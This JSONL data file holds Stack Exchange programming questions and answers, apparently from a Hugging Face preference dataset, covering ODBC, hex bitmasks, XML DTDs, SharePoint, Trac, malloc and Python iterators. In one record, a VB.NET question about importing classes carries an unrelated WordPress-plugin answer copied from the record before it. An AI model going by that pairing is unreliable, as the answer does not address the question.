{"id": "hf_6ab0850d257e", "question": "<p>How can I get data from a database that I can only access through an ODBC Data Source (DSN) in T-SQL MS SQL Server, any version?</p>\n", "question_body": "", "answer": "The selecting is the easy part, but the real question is how do you connect to the datasource.\nFirst, where are you selecting data from?  Are you writing code, or just using the Query analyzer tool (2000) or Management Studio (2005)?\nYou'll need to setup your connection to the database regardless.  If you need help with the connectionstrings to a DSN, the site www.connectionstrings.com is very helpful.  Otherwise, from a query tool there will be dialog boxes or wizards to help you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.959107"}
{"id": "hf_556f2b7d96b0", "question": "<p>Hey! I was looking at this code at <a href=\"http://www.gnu.org/software/m68hc11/examples/primes_8c-source.html\" rel=\"noreferrer\">http://www.gnu.org/software/m68hc11/examples/primes_8c-source.html</a></p>\n\n<p>I noticed that in some situations they used hex numbers, like in line 134:</p>\n\n<pre><code>for (j = 1; val &amp;&amp; j &lt;= 0x80; j &lt;&lt;= 1, q++)\n</code></pre>\n\n<p>Now why would they use the 0x80? I am not that good with hex but I found an online hex to decimal and it gave me 128 for 0x80.</p>\n\n<p>Also before line 134, on line 114 they have this:</p>\n\n<pre><code>small_n = (n &amp; 0xffff0000) == 0;\n</code></pre>\n\n<p>The hex to decimal gave me 4294901760 for that hex number.\nSo here in this line they are making a bit AND and comparing the result to 0??</p>\n\n<p>Why not just use the number?\nCan anyone please explain and please do give examples of other situations.</p>\n\n<p>Also I have seen large lines of code where it's just hex numbers and never really understood why :(</p>\n", "question_body": "", "answer": "In both cases you cite, the bit pattern of the number is important, not the actual number.\nFor example,\nIn the first case,\n```\nj\n```\nis going to be 1, then 2, 4, 8, 16, 32, 64 and finally 128 as the loop progresses.\nIn binary, that is,\n```\n0000:0001\n```\n,\n```\n0000:0010\n```\n,\n```\n0000:0100\n```\n,\n```\n0000:1000\n```\n,\n```\n0001:0000\n```\n,\n```\n0010:0000\n```\n,\n```\n0100:0000\n```\nand\n```\n1000:0000\n```\n.\nThere's no option for binary constants in C (until C23) or C++ (until C++14), but it's a bit clearer in Hex:\n```\n0x01\n```\n,\n```\n0x02\n```\n,\n```\n0x04\n```\n,\n```\n0x08\n```\n,\n```\n0x10\n```\n,\n```\n0x20\n```\n,\n```\n0x40\n```\n, and\n```\n0x80\n```\n.\nIn the second example,\nthe goal was to remove the lower two bytes of the value.\nSo given a value of 1,234,567,890 we want to end up with 1,234,567,168.\nIn hex, it's clearer: start with\n```\n0x4996:02d2\n```\n, end with\n```\n0x4996:0000\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:25.986342"}
{"id": "hf_a3c4fe5565f3", "question": "<p>I got dtd in file and I cant remove it. When i try to parse it in Java I get \"Caused by: java.net.SocketException: Network is unreachable: connect\", because its remote dtd. can I disable somehow dtd checking?</p>\n", "question_body": "", "answer": "You should be able to specify your own EntityResolver, or use specific features of your parser? See\nhere\nfor some approaches.\nA more complete example:\n```\n```\n<?xml version=\"1.0\"?>\n<!DOCTYPE foo PUBLIC \"//FOO//\" \"foo.dtd\">\n<foo>\n    <bar>Value</bar>\n</foo>\n```\n```\nAnd xpath usage:\n```\n```\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.StringReader;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.xpath.XPath;\nimport javax.xml.xpath.XPathFactory;\n\nimport org.w3c.dom.Document;\nimport org.xml.sax.EntityResolver;\nimport org.xml.sax.InputSource;\nimport org.xml.sax.SAXException;\n\npublic class Main {\n\n    public static void main(String[] args) throws Exception {\n        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n        DocumentBuilder builder = factory.newDocumentBuilder();\n\n        builder.setEntityResolver(new EntityResolver() {\n\n            @Override\n            public InputSource resolveEntity(String publicId, String systemId)\n                    throws SAXException, IOException {\n                System.out.println(\"Ignoring \" + publicId + \", \" + systemId);\n                return new InputSource(new StringReader(\"\"));\n            }\n        });\n        Document document = builder.parse(new File(\"src/foo.xml\"));\n        XPathFactory xpathFactory = XPathFactory.newInstance();\n        XPath xpath = xpathFactory.newXPath();\n        String content = xpath.evaluate(\"/foo/bar/text()\", document\n                .getDocumentElement());\n        System.out.println(content);\n    }\n}\n```\n```\nHope this helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.022426"}
{"id": "hf_2e310b7d1c2e", "question": "<p>I am trying to compile a labview CIN using visual studio 2003.</p>\n\n<p>I have followed the tutorial located <a href=\"http://zone.ni.com/devzone/cda/tut/p/id/3172\" rel=\"nofollow noreferrer\">here</a> to the letter, but am getting the following error:</p>\n\n<blockquote>\n  <p>Project : error PRJ0019: A tool returned an error code from \"Performing Custom Build Step\"</p>\n</blockquote>\n\n<p>Does anyone know what is causing this? I tried this <a href=\"http://detritus.blogs.com/lycangeek/2006/03/building_cins_w.html\" rel=\"nofollow noreferrer\">link</a> found at an expert's exchange <a href=\"http://www.experts-exchange.com/Microsoft/Development/.NET/Visual_CPP/Q_23144843.html\" rel=\"nofollow noreferrer\">question</a> but it does not seem relevant.</p>\n\n<p>Is there an easier way to build a CIN using visual studio?</p>\n", "question_body": "", "answer": "Please post the entire error.  It appears that the custom build step defined in your link does not work.\nOn the Custom Build Step->General page, type:\n```\n```\n\"$(CINTOOLS_DIR)\\lvsbutil\" \"$(TargetName)\" -d \"$(ProjectDir)$(OutDir)\"\n```\n```\nin the commandline field and type\n```\n$(OutDir)$(TargetName).lsb\n```\nin the output field.\nTry pasting that into a commandline and running it. I suspect you have not got the env variables set or they are not pointing to the right places.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.046867"}
{"id": "hf_d7a555d25bfc", "question": "<p>Is there any sort of \"out of the box\" system within SharePoint (i.e. MOSS 2007) that is useful for tracking/managing permissions.  We've got a relatively small installation, but I can easily see special permissions for special users/sites getting out of hand.  I'm hoping there's something pre-baked into SharePoint that will help with this, but if there is, I don't know where.  </p>\n\n<p>If this isn't available from SharePoint, are there any 3rd party tools people would recommend?</p>\n", "question_body": "", "answer": "Unfortunately, I haven't found anything that great out of the box in SharePoint for managing or tracking user permissions. You always have an opportunity for customizations. There are some third party tools, however. The best tool I've found for simple management of SharePoint is the Universal SharePoint Manager v2007.\nThis app has some stellar tools for analyzing security and information about permissions.\nHere's a link directly to the feature that might interest you the most:\nhttp://www.idevfactory.com/products/uspm2007/features/sharepoint%20user%20site%20security%20analyzer.aspx\nI haven't used the USPM myself. I have used the SWAT tool which has a subset of features. iDevFactory does do a good job with their apps and I've found that it's fairly decent ant getting what you want.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.071781"}
{"id": "hf_75aab4fced38", "question": "<p>In our Sharepoint implementation users have been granted site collection admin rights. On a few occasions they've managed to delete a subsite or even the entire site collection. I'd like to be able to block this but not being a developer I'm finding it pretty tricky.</p>\n\n<p>I've had a look at <a href=\"http://www.codeplex.com/governance/release/projectreleases.aspx?releaseid=3830\" rel=\"nofollow noreferrer\">the MSIT site delete capture tool</a> to try to understand how that's working and it seams fairly straight forward. I want to override the delete function and either block it entirely or have the user type a password. What I can't see is any way to fully override the default behavior as it looks like the MSIT tool simply adds some functionality (backs up the site) then falls back into the default behavior. </p>\n\n<p>So my question is, can I prevent the default behavior or can I only add actions before or after it fires?</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "Two answers:\nYou cannot prevent site deletes without either coding up something yourself, or buying a product to help you with \"site lifecycle management\" or \"site governance\" or some other vague term they use to describe this sort of thing.\nThe Site Delete Capture Tool may be good enough for you. It doesn't prevent any kind of deletions, but it does take a crude backup that (hopefully) allows you to restore anything they delete. We're using this tool in production and it works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.097383"}
{"id": "hf_eb2945a13de0", "question": "<p>We use <a href=\"http://trac.edgewall.org\" rel=\"nofollow noreferrer\">Trac</a> as our bug tracking / development / wiki system and I was wondering if anyone has experience and uses some of the Trac Agile/Scrum plugins or functionalities? Anything you'd recommend?</p>\n\n<p>Or would it be better to duplicate Trac tickets as dead-tree user story index cards and a hand-drawn burndown chart?</p>\n\n<hr>\n\n<p>Note that I found a similar question <a href=\"https://stackoverflow.com/questions/81144\">here</a>. Though it's specifically about Scrum. They recommend <a href=\"http://www.agile42.com/cms/pages/download/\" rel=\"nofollow noreferrer\">Agilo</a>. Has anyone tried Agilo yet?</p>\n", "question_body": "", "answer": "Bitten\nis a Trac plugin for continuous integration that can be harnessed to do automatic builds on check-in, which provides a critical part of the Agile process (rapid feedback). I haven't used any other plugins for Trac personally, so I can't comment on them. However, the native Trac functionality of milestones could be leveraged fairly easily, I suspect, to be used as iteration markers (where each milestone represents the end of an iteration). Since milestones can be used to mark a 'due date' for features already, you shouldn't need much in the way of modification to use them as such.\nFrom there, using tickets as user stories, and tying them to milestones (I'm sure this can be done manually at worst) would give you a basic method of tracking velocity and keeping the team aware of progress (and changes that need to be made as well).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.122551"}
{"id": "hf_d5a0c603bbd2", "question": "<p>Is there a way to do this without iterating through the List and adding the items to the ObservableCollection?</p>\n", "question_body": "", "answer": "No, there is no way to directly convert the list to an observable collection. You must add each item to the collection. However, below is a shortcut to allow the framework to enumerate the values and add them for you.\n```\n```\nDim list as new List(of string)\n...some stuff to fill the list...\nDim observable as new ObservableCollection(of string)(list)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.167296"}
{"id": "hf_69fb2845ccbd", "question": "<p>do you know any not strict xpath for java? (I want it to not check dtd and schema) and it would be cool if it dont care about correct xml.</p>\n", "question_body": "", "answer": "Ok, first of all, \"correct xml\" can be interpreted in a couple of ways.  If you mean \"non-well-formed\" (missing angle brackets, overlapping elements, etc.), no version of xpath would likely do anything useful with that.  You'd be better off with some sort of regular expressions.  If your XML isn't well-formed, I hope you have some clue of how it won't be well-formed, otherwise you have no hope of getting anywhere with it.\nIf you actually mean \"invalid\", which simply means it doesn't validate against a schema or DTD, then you can use predicates which compare against the \"local-name()\" function.  For instance, if you want to find the \"/foo/bar\" element, ignoring schemas, then your xpath would look like this:\n```\n```\n/*[local-name()='foo']/*[local-name()='bar']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.192560"}
{"id": "hf_61ce30517288", "question": "<p>I've been asked to create a fairly straightforward website for a friend. Essentially a user will log in, fill in a set of information, and submit it. This data will then need to written to a database (and read from/presented at a future point).</p>\n\n<p>I'm not really a web developer (I do mostly Java/C++), but about 3 years ago I worked on a project where we created a site using WAMP (Windows, Apache, MySQL and PHP), with a bit of JavaScript/AJAX thrown in for good measure. I was going to use WAMP again, but am concerned that there might be better tools available now. </p>\n\n<p>So, is the WAMP approach a good one for a straightforward site like this? </p>\n\n<p>If so, what tools would you recommend to use for the development of PHP/Javascript?</p>\n\n<p>Finally, I saw in one of the blog posts that Stack Overflow uses JQuery. Would it be worthwhile to use these libs?</p>\n", "question_body": "", "answer": "Assuming that the website you're going to be building is hosted on a WAMP stack, then I'd say continue to use that; otherwise, you may wanna stick with Windows/IIS/PHP/MySQL or SQL Server. I always try to make sure my development environment mirrors production as much as possible.\nSecondly, if the user is simply logging in, submitting a form, and is then considered to be done, then using Ajax might be overkill; however, if you're definitely going to be going to Ajax route, then I definitely recommend using a library.\nPrototype\nor\njQuery\nare fine - either one makes Ajax ridiculously simple.\nFinally, as far as suggested tools are concerned, find something that fits the bill for what you're developing. If this site is as simple as you claim it is, something like\nNotepad++\nmight be sufficient. Another option for the WAMP/LAMP stack is\nAptana Studio\n. If you're going the Windows/IIS/SQL Server route, then use some of the\nMicrosoft Express\ntools.\nI could be way off, but if you're building a really simple site, don't spend more time configuring shiny new tools for something that can be done with the existing toolbox you've got.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.229732"}
{"id": "hf_fa30dc9bf9e3", "question": "<p>I have this table in an Oracle DB which has a primary key defined on 3 of the data columns. I want to drop the primary key constraint to allow rows with duplicate data for those columns, and create a new column, 'id', to contain an auto-incrementing integer ID for these rows. I know how to create a sequence and trigger to add an auto-incrementing ID for new rows added to the table, but is it possible to write a PL/SQL statement to add unique IDs to all the rows that are already in the table?</p>\n", "question_body": "", "answer": "If you're just using an integer for a sequence you could update the id with the rownum.  e.g.\n```\n```\nupdate\ntable\nset id = rownum\n```\n```\nYou then need to reset the sequence to the next valid id.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.254563"}
{"id": "hf_f7af27a2ca40", "question": "<p>I'm using the latest version of the <a href=\"https://jqueryui.com/tabs/\" rel=\"nofollow noreferrer\">jQuery UI tabs</a>. I have tabs positioned toward the bottom of the page. </p>\n\n<p>Every time I click a tab, the screen jumps toward the top.</p>\n\n<p>How can I prevent this from happening?</p>\n\n<p>Please see this example:</p>\n\n<p><a href=\"http://5bosses.com/examples/tabs/sample_tabs.html\" rel=\"nofollow noreferrer\">http://5bosses.com/examples/tabs/sample_tabs.html</a></p>\n", "question_body": "", "answer": "If you have something along these lines:\n```\n```\n<a href=\"#\" onclick=\"activateTab('tab1');\">Tab 1</a>\n```\n```\nTry adding\n```\nreturn false;\n```\nafter the tab activation command:\n```\n```\n<a href=\"#\" onclick=\"activateTab('tab1'); return false;\">Tab 1</a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.279294"}
{"id": "hf_1eedd5a2a87e", "question": "<p>I'd like to know which method is recommended on Windows C programming: using malloc or the Win32 HeapAlloc (maybe VirtualAlloc?) function.</p>\n\n<p>I've read the MSDN <a href=\"http://msdn.microsoft.com/en-us/library/aa366781(VS.85).aspx\" rel=\"nofollow noreferrer\">Memory Management Functions</a> article and the MSDN articles regarding malloc and HeapAlloc, but they do not say which one should be used and in what situations.</p>\n", "question_body": "", "answer": "Stick with malloc unless you have a compelling reason to use something different.  It will be implemented underneath in terms of the OS memory allocation primitives, but there is no real advantage in diving down to that layer yourself.\nA few API calls I believe need a memory block allocated from a Windows heap, but you will know when you come across them.\nOr if you want to do something more advanced, like use shared memory, or need to control the permissions on the memory pages directly then you will need to look at the Windows API calls like VirtualAlloc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.327820"}
{"id": "hf_96beee778732", "question": "<p>How to validate iscontrolkeys in textbox keydown event in .net?</p>\n", "question_body": "", "answer": "This msdn page should do the trick\n- check the keypresseventsargs returned in the keypress or\nthis keydown page\nshould allow you to query the control keys (using the relevant .Net enum)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.376237"}
{"id": "hf_34c7f3fd2bc7", "question": "<p>I've been developing a simple website using asp.net MVC and I'm starting to add some JQuery\\JSON goodness.  </p>\n\n<p>My problem is up until now all my 'Views' have been strongly typed and I've been building the view based on data from ViewData.Model.MyViewsData.  Now once the view has been rendered and I do a Ajax style request I get new data back as JSON and I need to update my view.  Now how can I update my view with the new data when I no longer have access to all the original ViewData?</p>\n\n<p>I'm guessing I need to one of two things, either: always fetch the data back using Jquery\\JSON and forget about using ViewData or do some sort of partial rendering of my view?!</p>\n\n<p>Any tutorials or samples would be most appreciated.</p>\n\n<p>Many Thanks</p>\n", "question_body": "", "answer": "I use jQuery and Monorail for an MVC framework - and we use both approaches.\nHere's an example for the jquery approach\n- ignore the fact it's php. The approach is the same, namely in the postback function in the JSON call, the JSON return object is accessed directly to populate front-end controls that are accessed via the css selector.\nThe alternative is very similar\n(archived\nhere\n) - instead of manually setting control contents, simply apply the html returned in the partial view (ensuring the layout is cancelled as you don't want menus etc just a html fragment).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.400000"}
{"id": "hf_e882cbb088c4", "question": "<p>Is there a library method to copy all the properties between two (already present) instances of the same class, in Python?</p>\n\n<p>I mean, something like Apache Commons' <code>PropertyUtilsBean.copyProperties()</code></p>\n", "question_body": "", "answer": "If your class does not modify\n```\n__getitem__\n```\nor\n```\n__setitem__\n```\nfor special attribute access all your attributes are stored in\n```\n__dict__\n```\nso you can do:\n```\n```\nnobj.__dict__ = oobj.__dict__.copy()    # just a shallow copy\n```\n```\nIf you use python properties you should look at\n```\ninspect.getmembers()\n```\nand filter out the ones you want to copy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.438289"}
{"id": "hf_432786e6f945", "question": "<p>I'm trying to unit test a piece of code that needs a currently logged in user in the test. Using the .Net 2.0 Membership Provider, how can I programmatically log in as a user for this test?</p>\n", "question_body": "", "answer": "Does your code actually need a user logged in via ASP.NET, or does it just need a CurrentPrincipal? I don't think you need to programmatically log in to your site. You can create a\nGenericPrincipal\n, set the properties you need, and attach it to, for example Thread.CurrentPrincipal or a mocked HttpContext. If your code actually needs RolePrincipal or something then I would change the code to be less coupled to ASP.NET membership.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.473947"}
{"id": "hf_7374867c3658", "question": "<p>I am attempting to deploy an ASP.NET 2.0 Web service application on an IIS server that currently serves a large .NET 1.0 web application. </p>\n\n<p>I have set up an appropriate virtual directory and have set the ASP.NET version for the virtual directory to 2.0, when I attempt to browse the site in a web-browser, I am prompted for a password. If I set the ASP.NET version down to 1.0, I am not prompted for a password, but obviously receive a full application error.</p>\n\n<p>How can I configure IIS so that I can have the .NET 2.0 version selected without requiring the password prompt?</p>\n\n<p>I have anonymous access enabled and have the \"Authenticated Access\" set to integrated windows authentication\"</p>\n\n<p>Any help or suggestions is appreciated...</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "First of all, be sure that you are running two application pools, one for any .Net 1.1 web apps, and another for any .Net 2.0 web apps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.497385"}
{"id": "hf_68a7465b8383", "question": "<p>I want to create a list of integers from 1 to <code>n</code>. I can do this in Python using <code>range(1, n+1)</code>, and in Haskell using: <code>take n (iterate (1+) 1)</code>.</p>\n<p>What is the right OCaml idiom for this?</p>\n", "question_body": "", "answer": "Here you go:\n```\n```\nlet rec range i j = \n  if i > j then [] \n  else i :: range (i+1) j\n```\n```\nNote that this is not tail-recursive.  Modern Python versions even have a lazy range.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.520940"}
{"id": "hf_c29d5b68abb1", "question": "<p>I have two iterators, a <code>list</code> and an <code>itertools.count</code> object (i.e. an infinite value generator). I would like to merge these two into a resulting iterator that will alternate yield values between the two:</p>\n\n<pre><code>&gt;&gt;&gt; import itertools\n&gt;&gt;&gt; c = itertools.count(1)\n&gt;&gt;&gt; items = ['foo', 'bar']\n&gt;&gt;&gt; merged = imerge(items, c)  # the mythical \"imerge\"\n&gt;&gt;&gt; merged.next()\n'foo'\n&gt;&gt;&gt; merged.next()\n1\n&gt;&gt;&gt; merged.next()\n'bar'\n&gt;&gt;&gt; merged.next()\n2\n&gt;&gt;&gt; merged.next()\nTraceback (most recent call last):\n    ...\nStopIteration\n</code></pre>\n\n<p>What is the simplest, most concise way to do this?</p>\n", "question_body": "", "answer": "I'd do something like this. This will be most time and space efficient, since you won't have the overhead of zipping objects together. This will also work if both\n```\na\n```\nand\n```\nb\n```\nare infinite.\n```\n```\ndef imerge(a, b):\n    i1 = iter(a)\n    i2 = iter(b)\n    while True:\n        try:\n            yield i1.next()\n            yield i2.next()\n        except StopIteration:\n            return\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.543921"}
{"id": "hf_565c9304ee8c", "question": "<p>Besides the CODEX what resources do you recommend to help a person new to creating plugins help create a WordPress plugin. I have an idea, but need a bit better explanation than what is in the CODEX to get started.</p>\n\n<p>UPDATE: Is there a book that I could buy to help me out with this?</p>\n", "question_body": "", "answer": "Having written the MyBlogLog plugin (the original one, that is) I found that the Wordpress Hooks list (can't remember the link offhand) was incredibly useful, as was the sample code from the Codex and WP Install files. Reading through other developer's plugins is also a good way to learn, as you can see how they implemented things and use those techniques to save yourself some R&D time.\nWhat are you looking to create, anyways?\nEdit:\nI posted a comment with this, but just in case it gets lost...\nFor your specific needs, you're going to want to store data and be able to manage and retrieve it so creating a custom database table in your plugin is something you will want to do. See this codex link:\nhttp://codex.wordpress.org/Creating_Tables_with_Plugins\nThen you can just add your management code into the admin screens using the techniques found on this Codex page:\nhttp://codex.wordpress.org/Adding_Administration_Menus\nIf you want to display the items on a page, you can either write yourself a custom PHP WP Page template to query the DB directly:\nhttp://codex.wordpress.org/Pages#Page_Templates\nOr just add a hook filter on your plugin to write the results to the page based on a keyword you specify:\nhttp://codex.wordpress.org/Plugin_API#Filters", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.567223"}
{"id": "hf_db0791747905", "question": "<p><strong>Edit:</strong> This was accidentally posted twice. Original: <a href=\"https://stackoverflow.com/questions/243900/vb-net-importing-classes\">VB.NET Importing Classes</a></p>\n\n<p>I've seen some code where a <em>Class</em> is imported, instead of a namespace, making all the static members/methods of that class available.  Is this a feature of VB?  Or do other languages do this as well?</p>\n\n<p>TestClass.vb</p>\n\n<pre><code>public class TestClass\n    public shared function Somefunc() as Boolean\n        return true\n    end function\nend class\n</code></pre>\n\n<p>MainClass.vb</p>\n\n<pre><code>imports TestClass\n\npublic class MainClass\n    public sub Main()\n        Somefunc()\n    end sub\nend class\n</code></pre>\n\n<p>These files are in the App_Code directory.  Just curious, because I've never thought of doing this before, nor have I read about it anywhere. </p>\n", "question_body": "", "answer": "Having written the MyBlogLog plugin (the original one, that is) I found that the Wordpress Hooks list (can't remember the link offhand) was incredibly useful, as was the sample code from the Codex and WP Install files. Reading through other developer's plugins is also a good way to learn, as you can see how they implemented things and use those techniques to save yourself some R&D time.\nWhat are you looking to create, anyways?\nEdit:\nI posted a comment with this, but just in case it gets lost...\nFor your specific needs, you're going to want to store data and be able to manage and retrieve it so creating a custom database table in your plugin is something you will want to do. See this codex link:\nhttp://codex.wordpress.org/Creating_Tables_with_Plugins\nThen you can just add your management code into the admin screens using the techniques found on this Codex page:\nhttp://codex.wordpress.org/Adding_Administration_Menus\nIf you want to display the items on a page, you can either write yourself a custom PHP WP Page template to query the DB directly:\nhttp://codex.wordpress.org/Pages#Page_Templates\nOr just add a hook filter on your plugin to write the results to the page based on a keyword you specify:\nhttp://codex.wordpress.org/Plugin_API#Filters", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.591666"}
{"id": "hf_ddcc780f9c5a", "question": "<p>We use ASP.NET, C#</p>\n\n<p>When making an update to one of our websites, we roll out the entire site rather than updating just the pages or sections that have changed. This scares me.</p>\n\n<p>Is this a good idea? Should I roll out only the changes? </p>\n\n<p>Should I break my site into smaller projects? </p>\n\n<p>What is best practice?</p>\n", "question_body": "", "answer": "You should always roll out the entire site.  Because the actually executable code is contained mostly in the DLLs, you can't actually only roll out the pages that changed, like you could with the old ASP. If there are parts of your website that are actually separate, you can break them apart into separate projects, and deploy each entire section separately.\nAlso, if putting up the whole site scares you, you probably need better testing or quality assurance standards.  There should always be a copy of your entire site that can go live at any time, in case the server dies, and you have to replace it, or something else goes wrong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.620327"}
{"id": "hf_704392a0b271", "question": "<p>I have a variable that is built in loop. Something like:</p>\n\n<pre><code>$str = \"\";\nfor($i = 0; $i &lt; 10; $i++) $str .= \"something\";\n</code></pre>\n\n<p>If $str = \"\" is ommitted, I get undefined variable notice, but I thought php auto-declare a variable the first time it sees undeclared one?</p>\n\n<p>How do I do this right?</p>\n", "question_body": "", "answer": "You get the undefined variable because you're concatenating the value of itself with another value.\nThe equivalent of\n```\n$str = $str . \"something\";\n```\nSo, it can't say what's the initial value is. It's the equivalent of this:\n```\n$str = [undefined value] . \"something\";\n```\nWhat's the result of a concatenation of\n```\n[undefined value]\n```\nand\n```\n\"something\"\n```\n? The interpreter can't say...\nSo, you have to put\n```\n\"\"\n```\nin the variable first to initiate the variable's value, as you did.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.655789"}
{"id": "hf_204046bf998a", "question": "<p>I've seen some code where a <em>Class</em> is imported, instead of a namespace, making all the static members/methods of that class available.  Is this a feature of VB?  Or do other languages do this as well?</p>\n\n<p>TestClass.vb</p>\n\n<pre><code>public class TestClass\n    public shared function Somefunc() as Boolean\n        return true\n    end function\nend class\n</code></pre>\n\n<p>MainClass.vb</p>\n\n<pre><code>imports TestClass\n\npublic class MainClass\n    public sub Main()\n        Somefunc()\n    end sub\nend class\n</code></pre>\n\n<p>These files are in the App_Code directory.  Just curious, because I've never thought of doing this before, nor have I read about it anywhere. </p>\n", "question_body": "", "answer": "Actually, that function is available because it's a\nshared\nfunction. If you were to remove the shared modifier, you would still have to create an instance of the class to access it.\nTo achieve access to all variables and all functions within a class by default, you would want to inherit it.\nTo my knowledge\nimporting\na class is basically tying direct reference to it, not creating any sort of instance of it for you to use.\nEDIT for clarity: The links are there are VB specific links, thus, explaining the functionality of this pertaining to VB.NET", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:26.689546"}
